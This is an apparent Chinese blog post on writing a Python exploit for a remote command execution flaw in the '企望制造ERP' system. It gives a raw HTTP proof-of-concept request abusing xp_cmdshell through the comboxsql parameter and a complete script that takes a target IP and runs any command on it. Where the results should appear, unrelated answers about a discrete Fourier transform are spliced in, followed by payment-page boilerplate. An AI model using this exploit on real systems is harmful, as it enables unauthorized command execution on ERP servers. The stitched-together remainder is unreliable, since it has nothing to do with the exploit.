记一次使用python编写exp

使用的漏洞是企望制造ERP系统 RCE漏洞

POC

POST /mainFunctions/comboxstore.action HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=11E0339EEFC982D1B2E80005DD204F4F
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

comboxsql=exec%20xp_cmdshell%20'whoami'

python模块

这些是比较常用的

requests
sys
os

这个POC比较简单,直接post发包执行命令就行

python源码

import requests  
  
banner = """\033[34m
 +--^----------,--------,-----,--------^-,
 | |||||||||   `--------'     |          O
 `+---------------------------^----------|
   `\_,---------,---------,--------------'
     / XXXXXX /'|       /'
    / XXXXXX /  `\    /'
   / XXXXXX /`-------'
  / XXXXXX /
 / XXXXXX /
(________(                
 `------' \033[0m             银色子弹Admin
"""

print(banner)
IP = input("\033[91m请输入目标IP:\033[0m")
url = IP + "mainFunctions/comboxstore.action"  
  
# 这里不用编码
RCE = input("\033[91m请输入要执行的命令:\033[0m")
payload = {  
    'comboxsql': "exec xp_cmdshell '%s'" % RCE
}  
  
headers = {  
    'Cache-Control': 'max-age=0',  
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0',  
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',  
    'Accept-Encoding': 'gzip, deflate, br',  
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',  
    'Cookie': 'JSESSIONID=11E0339EEFC982D1B2E80005DD204F4F',  
    'Connection': 'keep-alive',  
    'Content-Type': 'application/x-www-form-urlencoded'  

}  
  
 
response = requests.post(url, data=payload, headers=headers)  
  
 
print("Status Code:", response.status_code)  
print("Response Text:", response.text)  
  
# 如果响应是JSON格式,可以尝试解析并打印  
try:  
    json_response = response.json()  
    print("JSON Response:", json_response)  
except ValueError:  
    # 如果不是JSON格式,则忽略  
    pass

运行效果

### 回答1: 好的,以下是使用Python编写DFT代码的示例: ```python import numpy as np def DFT(x): """ 计算离散傅里叶变换 :param x: 输入信号 :return: 输出离散傅里叶变换 """ N = len(x) X = np.zeros(N, dtype=np.complex) for k in range(N): for n in range(N): X[k] += x[n] * np.exp(-2j * np.pi * k * n / N) return X ``` 上述代码中,我们首先导入了NumPy库,然后定义了一个名为DFT的函数,用于计算离散傅里叶变换。函数接受一个输入信号x,然后使用嵌套循环计算DFT。最后,返回DFT结果X。 注意,在该代码中,我们使用了NumPy中的复数数据类型dtype=np.complex,以处理实部和虚部。同时,我们使用了欧拉公式来计算正弦和余弦函数。 ### 回答2: 使用Python编写离散傅里叶变换(DFT)代码可以通过以下步骤实现: 1. 导入所需的模块:首先,我们需要导入`numpy`库,以便使用其数组操作和数学函数。可以使用以下代码进行导入: ```python import numpy as np ``` 2. 定义DFT函数:创建一个函数来执行离散傅里叶变换。该函数将接受一个输入序列,并返回其频谱。可以使用以下代码定义DFT函数: ```python def dft(x): N = len(x) n = np.arange(N) k = n.reshape((N, 1)) e = np.exp(-2j * np.pi * k * n / N) X = np.dot(e, x) return X ``` 3. 测试代码:将输入序列传递给DFT函数并打印输出结果。可以使用以下代码进行测试: ```python if __name__ == "__main__": x = np.array([1, 2, 3, 4]) X = dft(x) print(X) ``` 以上代码将输出输入序列的DFT结果。 这就是使用Python编写DFT代码的步骤。该代码将给定序列转换为其频谱。使用这个代码,你可以输入不同的序列并观察它们的频谱。 ### 回答3: 离散傅里叶变换(Discrete Fourier Transform,DFT)是将离散时间序列(或空间序列)转换为频域序列的一种数学变换方法。下面是用Python编写DFT的代码示例。 ```python import numpy as np def dft(x): N = len(x) X = np.zeros(N, dtype=np.complex) for k in range(N): for n in range(N): X[k] += x[n] * np.exp(-2j*np.pi*k*n/N) return X # 测试代码 x = np.array([1, 2, 3, 4]) X = dft(x) print(X) ``` 以上代码中,`dft`函数接受一个长度为N的离散时间序列`x`作为输入,并返回一个大小为N的复数数组`X`作为输出。通过两个嵌套的for循环,对每个频域指数k循环迭代,对于每个k值,对时间序列x中的每个样本值n进行迭代。在内循环中,通过将时间序列x的每个样本值乘以一个复数指数,然后累加得到频率域序列X中的每个样本值。 以上是一个简单的DFT实现,但实际使用中可能会使用更高效的算法,如Fast Fourier Transform(快速傅里叶变换,FFT)。FFT是DFT的快速实现,能够显著提高计算效率,并且在大多数实际应用中更加常用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值